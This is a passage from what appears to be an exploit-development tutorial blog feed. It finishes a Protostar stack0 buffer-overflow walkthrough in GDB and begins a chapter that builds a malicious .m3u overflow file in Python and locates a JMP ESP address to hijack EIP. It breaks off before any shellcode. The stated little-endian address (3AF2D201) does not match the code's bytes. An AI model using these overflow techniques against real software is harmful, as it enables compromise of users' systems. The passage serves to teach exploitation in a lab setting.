0x0804840c &amp;lt;main+24&amp;gt;:	call   0x804830c &amp;lt;gets@plt&amp;gt;
0x08048411 &amp;lt;main+29&amp;gt;:	mov    0x5c(%esp),%eax
0x08048415 &amp;lt;main+33&amp;gt;:	test   %eax,%eax
0x08048417 &amp;lt;main+35&amp;gt;:	je     0x8048427 &amp;lt;main+51&amp;gt;
0x08048419 &amp;lt;main+37&amp;gt;:	movl   $0x8048500,(%esp)
0x08048420 &amp;lt;main+44&amp;gt;:	call   0x804832c &amp;lt;puts@plt&amp;gt;
0x08048425 &amp;lt;main+49&amp;gt;:	jmp    0x8048433 &amp;lt;main+63&amp;gt;
0x08048427 &amp;lt;main+51&amp;gt;:	movl   $0x8048529,(%esp)
0x0804842e &amp;lt;main+58&amp;gt;:	call   0x804832c &amp;lt;puts@plt&amp;gt;
0x08048433 &amp;lt;main+63&amp;gt;:	leave  
0x08048434 &amp;lt;main+64&amp;gt;:	ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So right off the bat, even if you don’t understand assembly too well, you can see the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;call&lt;/code&gt; instruction, calling the function &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gets()&lt;/code&gt; at the address &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0804840c&lt;/code&gt;. This will come in handy during testing.&lt;/p&gt;

&lt;p&gt;So a few things before we continue:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;ESP is our stack pointer. This points to the start/top of the stack.&lt;/li&gt;
  &lt;li&gt;PUSH is an instruction which pushes a value stored in a particular register to the top of the stack.&lt;/li&gt;
  &lt;li&gt;JMP is an instruction which will jump to a particular address to continue execution flow. JE is “jump if equal to”, which means that after the comparison (the test instruction), if the condition is satisfied, it will jump to said location. This represents the “if-else” iteration in our code.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Our objective here is to change the value of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;modified&lt;/code&gt; variable from 0 to anything else. Modified is somewhere on the stack, and in order to overwrite it with our desired value, we will have to overflow a section of the stack that lies before this variable in order to reach it.&lt;/p&gt;

&lt;p&gt;There is one line in the disassembly that is particularly interesting though. It moves the value of 0 (hex 0x0) to the location &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;esp + 0x5c&lt;/code&gt;.
This tells us the location of the modified variable on the stack. Now, we will use the previous call instruction, and this one to set our breakpoints. A breakpoint is a pause in the execution flow of the binary, which will help us in understanding how values on the stack change after a particular instruction is executed.&lt;/p&gt;

&lt;p&gt;We will do this by executing:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(gdb) break *0x0804840c
Breakpoint 1 at 0x804840c: file stack0/stack0.c, line 11.
(gdb) break *0x08048411
Breakpoint 2 at 0x8048411: file stack0/stack0.c, line 13.
(gdb)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This will stop the execution flow before the call to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gets()&lt;/code&gt; is made, and after that, before the value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;modified&lt;/code&gt; is transferred to the accumulator (eax) for comparison. Now, let’s run the binary by executing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;r&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(gdb) r
Starting program: /opt/protostar/bin/stack0

Breakpoint 1, 0x0804840c in main (argc=1, argv=0xbffffd54) at stack0/stack0.c:11
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So we hit our first breakpoint, right before the call to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gets()&lt;/code&gt;. If we run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;i r&lt;/code&gt;, it will give us further information on the registers at this point of time.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(gdb) i r
eax            0xbffffc5c	-1073742756
ecx            0x644d8780	1682802560
edx            0x1	1
ebx            0xb7fd7ff4	-1208123404
esp            0xbffffc40	0xbffffc40
ebp            0xbffffca8	0xbffffca8
esi            0x0	0
edi            0x0	0
eip            0x804840c	0x804840c &amp;lt;main+24&amp;gt;
eflags         0x200282	[ SF IF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can see that the address of the call instruction is in the EIP register. EIP holds the address to the next instruction which is to be executed. Now, let’s take a look at what the stack looks like right now by executing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x/30wx $esp&lt;/code&gt;.This will print 32 hexadecimal words off the stack. 30 has just been taken for simplicity purposes.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(gdb) x/32wx $esp
0xbffffc40:	0xbffffc5c	0x00000001	0xb7fff8f8	0xb7f0186e
0xbffffc50:	0xb7fd7ff4	0xb7ec6165	0xbffffc68	0xb7eada75
0xbffffc60:	0xb7fd7ff4	0x08049620	0xbffffc78	0x080482e8
0xbffffc70:	0xb7ff1040	0x08049620	0xbffffca8	0x08048469
0xbffffc80:	0xb7fd8304	0xb7fd7ff4	0x08048450	0xbffffca8
0xbffffc90:	0xb7ec6365	0xb7ff1040	0x0804845b	0x00000000
0xbffffca0:	0x08048450	0x00000000	0xbffffd28	0xb7eadc76
0xbffffcb0:	0x00000001	0xbffffd54	0xbffffd5c	0xb7fe1848
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can use this to find the location of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;modified&lt;/code&gt; variable. To find the address, we execute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x/wx $esp+0x5c&lt;/code&gt;, as we know from earlier that the variable is stored at the location &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$esp+0x5c or 0x5c(%esp)&lt;/code&gt;. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x/wx&lt;/code&gt; stands for ‘examine’, so this will give us the address and the contents of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;modified&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(gdb) x/wx $esp+0x5c
0xbffffc9c:	0x00000000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;From this, we can see that the address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;modified&lt;/code&gt; on the stack is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0xbffffc9c&lt;/code&gt;, and it contains 0. So if we correspond this with our stack print from earlier, this is where &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;modified&lt;/code&gt; is:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;                          These are contents
           |---------------------|----------------------|
           |                                            |
0xbffffc90: 0xb7ec6365	0xb7ff1040 0x0804845b 0x00000000 &amp;lt;---- modified

Addresses:  0xbffffc90  0xbffffc94 0xbffffc98 0xbffffc9c
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Each address here is 4 bytes long, so the contents of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c90&lt;/code&gt; is given after the colon. If we add 4 bytes after &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c90&lt;/code&gt; three times until we reach &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0000000&lt;/code&gt;, we get the address as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c9c&lt;/code&gt;. This is how the math works out in GDB.&lt;/p&gt;

&lt;p&gt;Now, let’s continue execution flow by executing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c&lt;/code&gt;. Then, let’s just enter a few A’s just as a test. That way, we will know the location of our buffer on the stack.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 2, main (argc=1, argv=0xbffffd54) at stack0/stack0.c:13
13	in stack0/stack0.c
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We hit our second breakpoint, which is right before the binary moves the value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;modified&lt;/code&gt; to EAX for the comparison (The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;if-else&lt;/code&gt; iteration). Now, let’s take a look at the stack:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(gdb) x/32wx $esp
0xbffffc40:	0xbffffc5c	0x00000001	0xb7fff8f8	0xb7f0186e
0xbffffc50:	0xb7fd7ff4	0xb7ec6165	0xbffffc68	0x41414141
0xbffffc60:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc70:	0x41414141	0x41414141	0xbffffc00	0x08048469
0xbffffc80:	0xb7fd8304	0xb7fd7ff4	0x08048450	0xbffffca8
0xbffffc90:	0xb7ec6365	0xb7ff1040	0x0804845b	0x00000000 &amp;lt;-----
0xbffffca0:	0x08048450	0x00000000	0xbffffd28	0xb7eadc76
0xbffffcb0:	0x00000001	0xbffffd54	0xbffffd5c	0xb7fe1848
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So the hexadecimal value of A is 0x41. We can see our A’s starting at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0xbffffc60&lt;/code&gt;. This suggests that our buffer starts at this address. We can also see that we still have not reached the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;modified&lt;/code&gt; variable, which is why we haven’t been able to overwrite the value. Remember the size of our buffer? 64. If we enter about 80 A’s, we may be able overflow the modified variable and change it’s value. Let’s give this a shot:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack0

Breakpoint 1, 0x0804840c in main (argc=1, argv=0xbffffd54) at stack0/stack0.c:11
11	in stack0/stack0.c
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 2, main (argc=1, argv=0xbffffd54) at stack0/stack0.c:13
13	in stack0/stack0.c

(gdb) x/32wx $esp
0xbffffc40:	0xbffffc5c	0x00000001	0xb7fff8f8	0xb7f0186e
0xbffffc50:	0xb7fd7ff4	0xb7ec6165	0xbffffc68	0x41414141
0xbffffc60:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc70:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc80:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc90:	0x41414141	0x41414141	0x41414141	0x41414141 &amp;lt;----
0xbffffca0:	0x41414141	0x41414141	0x41414141	0xb7eadc00
0xbffffcb0:	0x00000001	0xbffffd54	0xbffffd5c	0xb7fe1848
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Et voila! We have overwritten the value of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;modified&lt;/code&gt; variable, and also overwritten variables after that with out A’s. Let’s do this outside of GDB now:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | ./stack0
you have changed the &apos;modified&apos; variable
Segmentation fault
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We have completed our first memory corruption exercise! This lays the foundation for stack buffer overflows, so if you’ve made it this far give yourself a good pat on the back! That’s all for now! I’ll see you in the next post!&lt;/p&gt;
</description>
            <pubDate>Sat, 15 Feb 2020 00:00:00 +0000</pubDate>
        </item>
        
        <item>
            <title>Reverse Engineering and Exploit Development Made Easy - Chapter 2</title>
            <link>/exploit/dev/2019/07/08/Reverse-Engineering-and-Exploit-Dev-Chapter-2.html</link>
            <guid isPermaLink="true">/exploit/dev/2019/07/08/Reverse-Engineering-and-Exploit-Dev-Chapter-2.html</guid>
            <description>&lt;h3 id=&quot;reverse-engineering-and-exploit-development-made-easy---chapter-2&quot;&gt;Reverse Engineering and Exploit Development Made Easy - Chapter 2&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;strong&gt;~&lt;/strong&gt;&lt;strong&gt;# ./chapt2&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Welcome back! In the previous chapter, we focused on the basics of reverse engineering, and gained control of the EIP register using our first binary. Now, let’s dive into the fun stuff: shellcoding!&lt;/p&gt;

&lt;p&gt;So, two things need to be done now:&lt;/p&gt;

&lt;p&gt;1) Place shellcode in ESP (Basically an encoded payload. For example, bind shell or cmd exec.)&lt;/p&gt;

&lt;p&gt;2) Replace EIP with a JMP instruction that points to our shellcode in ESP. A JMP instruction will jump to the shellcode and execute it.&lt;/p&gt;

&lt;p&gt;First, in order to make sure that all of our shellcode is going into ESP, let’s send a recognisable pattern. This way, we will be able to notice if some of our shellcode is getting cut, which can render our exploit unusable. I’ll be using the pattern from the Corelan website itself:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;os&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;lol.m3u&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;w+&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;junk1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;25000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1075&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;eip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;BBBB&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;5ABCDEFGHIJK6ABCDEFGHIJK&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;7ABCDEFGHIJK8ABCDEFGHIJK&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;9ABCDEFGHIJKAABCDEFGHIJK&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;BABCDEFGHIJKCABCDEFGHIJK&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;junk2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;C&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30000&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;junk1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;eip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;junk1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;eip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;junk2&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s save the file and put it through the debugger.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2019-07-08-Reverse-Engineering-and-Exploit-Dev-Chapter-2/image1.png&quot; alt=&quot;image1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So the highlighted value is what is in ESP. As you can see, our pattern is missing 4 bytes (1ABC), which means that the shellcode that’s going in ESP is incomplete. This has a simple solution, all we have to do is add 4 bytes before our shellcode. I’ll name this variable preesp.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;os&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;lol.m3u&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;w+&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;junk1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;25000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1075&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;eip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;BBBB&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;preesp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;XXXX&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;5ABCDEFGHIJK6ABCDEFGHIJK&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;7ABCDEFGHIJK8ABCDEFGHIJK&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;9ABCDEFGHIJKAABCDEFGHIJK&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;BABCDEFGHIJKCABCDEFGHIJK&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;junk2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;C&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30000&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;junk1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;eip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;preesp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;junk1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;eip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;preesp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;junk2&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s put this through the debugger :)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2019-07-08-Reverse-Engineering-and-Exploit-Dev-Chapter-2/image2.png&quot; alt=&quot;image2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now, let’s look for a JMP ESP instruction. This instruction should belong to one of the application’s DLL. Immunity will help us with this hunt :)&lt;/p&gt;

&lt;p&gt;Run the program but do nothing, and right click anywhere in the CPU window and click on Search for &amp;gt; All commands in all modules. Like so:&lt;/p&gt;

&lt;p&gt;Alright! Our test shellcode is going in just fine. Now, let’s look for a jump ESP instruction.&lt;/p&gt;

&lt;p&gt;Right-click anywhere in the CPU window, and search for all commands in all modules. Like so:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2019-07-08-Reverse-Engineering-and-Exploit-Dev-Chapter-2/image3.png&quot; alt=&quot;image3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Enter jmp esp in the popup box and click find.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2019-07-08-Reverse-Engineering-and-Exploit-Dev-Chapter-2/image4.png&quot; alt=&quot;image4&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This instruction looks good. Copy the address, and then click on View in the toolbar, and click CPU to go back to the CPU window.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2019-07-08-Reverse-Engineering-and-Exploit-Dev-Chapter-2/image5.png&quot; alt=&quot;image5&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now, replace the 4 Bs in your code with this address. But remember one thing, this highlighted address is in the big Endian format. Computers can’t read the address in in our code if we send it in big Endian. We need to change it into little Endian, which is the reverse of this (i.e. 3AF2D201). This is how we will include that address in our code:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;eip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x34\xF2\xD2\x01&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

